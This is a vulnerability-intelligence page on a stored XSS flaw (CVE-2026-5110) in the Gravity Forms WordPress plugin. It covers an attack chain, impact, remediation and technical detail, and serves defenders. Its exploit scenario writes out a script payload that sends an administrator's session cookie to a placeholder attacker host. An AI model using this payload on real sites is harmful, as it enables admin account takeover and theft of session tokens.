Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAccess public Gravity Form
-
DeliverySubmit form with XSS in nested SingleProduct field
-
ExploitBypass validation via validate_subfield()
-
InstallStore unsanitized payload in WordPress database
-
C2Admin views entry in wp-admin
-
ExecuteExecute JavaScript in admin session
-
ImpactExfiltrate session tokens or perform admin actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the target WordPress site to use Gravity Forms plugin version ≤2.10.0 with a publicly accessible form configured to use SingleProduct fields nested inside Repeater fields. This specific nested field configuration is the prerequisite that enables the validation bypass - sites using SingleProduct fields outside of Repeater contexts or not using SingleProduct fields at all are not vulnerable. The form must be publicly accessible to allow unauthenticated submission (standard configuration for most Gravity Forms). Exploitation also requires an administrator to subsequently view the malicious entry via the WordPress admin panel (wp-admin/admin.php?page=gf_entries), making this a two-stage attack where payload delivery is unauthenticated but payload execution depends on admin interaction timing. The CVSS UI:N rating is misleading in this context - it applies to payload injection (no user interaction required for form submission) but not execution (requires admin to view entry). Attack vector is network-based (AV:N) against default WordPress/Gravity Forms configurations. No special network positioning, authentication, or platform requirements beyond the nested field configuration. |
| Impact | Real-world risk is MODERATE despite the 7.2 CVSS score. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C) indicates network attack vector with no authentication required and changed scope, but this is somewhat misleading - the UI:N rating applies only to payload delivery (form submission), not payload execution which requires administrator interaction (viewing entries). Attack complexity is low (AC:L) because exploiting the validation bypass requires only crafting form submissions with tampered product name fields. The Changed scope (S:C) is appropriate as the XSS executes in admin context with different privileges than the submission context. Impact is limited to Low Confidentiality and Low Integrity with No Availability impact (C:L/I:L/A:N), realistic for XSS that could steal admin session tokens or perform limited admin actions. No EPSS score, KEV status, or SSVC data provided for this CVE. Wordfence discovery suggests responsible disclosure. Exploitation requires the specific configuration of SingleProduct fields nested in Repeater fields, which limits attack surface to forms using this advanced feature combination. The requirement for admin interaction to view entries reduces immediate exploitation risk compared to client-side XSS, but stored XSS in admin panels is still a serious privilege escalation vector. Priority should be HIGH for organizations using Gravity Forms with the affected field configuration, MEDIUM for general Gravity Forms deployments pending patch confirmation. |
| Exploit ScenarioDerived | An unauthenticated attacker identifies a WordPress site running Gravity Forms with a public form containing SingleProduct fields nested in Repeater fields. The attacker crafts a form submission with JavaScript payload injected into the product name field (input .1), such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>. Because validate_subfield() only validates quantity and bypasses state validation for nested contexts, the malicious product name passes validation and is stored unsanitized in the WordPress database. When a site administrator logs into wp-admin and navigates to Gravity Forms entries (wp-admin/admin.php?page=gf_entries) to review submissions, the get_value_entry_detail() method outputs the unescaped payload, executing the JavaScript in the admin's browser. The script exfiltrates the admin's session cookie to the attacker's server, enabling account takeover. No public proof-of-concept identified at time of analysis, but the attack requires only standard form submission capabilities and knowledge of the nested field structure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 02, 2026
Stored cross-site scripting (XSS) in Gravity Forms WordPress plugin versions ≤2.10.0 allows remote unauthenticated attackers to inject malicious JavaScript that executes when administrators view form entries. The vulnerability exploits a validation bypass in nested SingleProduct fields within Repeater fields, where product name tampering is not validated. When admins access compromised entries via wp-admin, the unsanitized payload executes in their browser session. CVSS 7.2 (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation without authentication or user interaction during payload delivery, though the attack requires subsequent admin interaction (viewing the entry) for payload execution. No active exploitation confirmed in CISA KEV at time of analysis.
RemediationAI
Update Gravity Forms to version 2.10.1 or later if available per the vendor changelog at https://docs.gravityforms.com/gravityforms-change-log/. The CVE references the changelog but does not cite a specific patched version - administrators should verify the latest release addresses CVE-2026-5110. As an immediate compensating control if patching is delayed, review all Gravity Forms configurations and temporarily disable or remove SingleProduct fields nested inside Repeater fields until upgrade completion. This mitigation eliminates the vulnerable code path but breaks functionality for forms using this feature combination. Alternatively, implement strict Content Security Policy (CSP) headers to prevent inline JavaScript execution in wp-admin (add 'script-src self' directive), though this may interfere with legitimate WordPress admin JavaScript and requires testing. Review all existing form entries for suspicious HTML content in product name fields via database query (wp_gf_entry_meta table) and sanitize any detected payloads. These workarounds provide defense-in-depth but do not fix the root cause - upgrading remains the primary remediation path per Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/f9135799-00db-447d-b795-faafeafbce67?source=cve.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gravity Forms is a premium WordPress form builder plugin (cpe:2.3:a:gravity_forms:gravity_forms). The vulnerability affects the SingleProduct field type when nested inside Repeater fields, a configuration that allows dynamic form sections. WordPress plugins written in PHP commonly use validation pipelines with state checking mechanisms. In this case, the validate_subfield() method only invokes the field's validate() method, which for SingleProduct fields validates quantity but not product names. The failed_state_validation() mechanism that normally prevents field value tampering is bypassed for nested contexts. After bypassing validation, the sanitize_entry_value() method returns raw unsanitized data because it does not expect HTML content in product name fields. The get_value_entry_detail() method then outputs this data without escaping when rendering entry details in the WordPress admin panel (wp-admin/admin.php?page=gf_entries). This chain of missing input validation (CWE-79: Improper Neutralization of Input During Web Page Generation) creates a stored XSS condition where malicious scripts persist in the database and execute in privileged admin contexts.
Know when Gravity Forms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Gravity Forms plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping in the SingleProduct field when used inside a Repeater field. When SingleProduct fields are nested within Repeater fields, the validation flow bypasses the state validation mechanism (failed_state_validation()) that would normally prevent tampering with field values. The validate_subfield() method only calls the field's validate() method, which for SingleProduct fields only validates the quantity field and does not check the product name field for tampering. As a result, an attacker can inject arbitrary HTML and JavaScript into the product name field (input .1). This malicious input is then saved to the database without sanitization because sanitize_entry_value() returns raw values when HTML is not expected for the field type. When an administrator views the entry in wp-admin/admin.php?page=gf_entries, the get_value_entry_detail() method outputs the product name without escaping, causing the stored XSS payload to execute in the administrator's browser. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses an entry containing the malicious payload.
Executive ViewAI
Gravity Forms WordPress plugin versions 2.10.0 and earlier contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious code into form entries, which executes when administrators review those entries in WordPress. This could enable attackers to compromise administrator accounts and escalate privileges within WordPress installations using this widely-deployed plugin.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict wp-admin access to administrators via IP allowlisting or VPN-only access; (2) Implement Web Application Firewall (WAF) rules to detect and block XSS payloads in form submissions; (3) Disable Repeater fields with SingleProduct nested fields until patch available; (4) Review and sanitize all existing form entries for suspicious content; (5) Monitor administrator sessions for anomalous activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Gravity Forms
View allUnauthenticated arbitrary file upload in the Gravity Forms WordPress plugin through version 3.1.0.4 can lead to remote c
The Clockwork SMS clockwork-test-message.php component has XSS via a crafted "to" parameter in a clockwork-test-message
The Gravity Forms WordPress plugin before 2.7.5 does not escape generated URLs before outputting them in attributes, lea
Unauthenticated PHP object injection in the Gravity Forms WordPress plugin, affecting every version up to and including
Deserialization of Untrusted Data vulnerability in Rocketgenius Inc. Rated high severity (CVSS 8.3), this vulnerability
Arbitrary file upload in Gravity Forms for WordPress (all versions ≤ 3.0.2) allows unauthenticated attackers to write PH
Arbitrary file disclosure in the Gravity Forms WordPress plugin (all versions through 2.10.4) lets unauthenticated attac
Stored cross-site scripting in the Gravity Forms WordPress plugin through 3.1.2 allows unauthenticated form submitters t
Stored cross-site scripting in the Gravity Forms plugin for WordPress, affecting all versions up to and including 3.1.1,
Stored Cross-Site Scripting in the Gravity Forms WordPress plugin (all versions ≤2.10.5) permits unauthenticated attacke
Stored Cross-Site Scripting in Gravity Forms plugin for WordPress through version 2.10.0 allows unauthenticated remote a
Stored XSS in Gravity Forms for WordPress ≤2.10.0 allows unauthenticated remote attackers to inject malicious JavaScript
EUVD-2026-26742
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB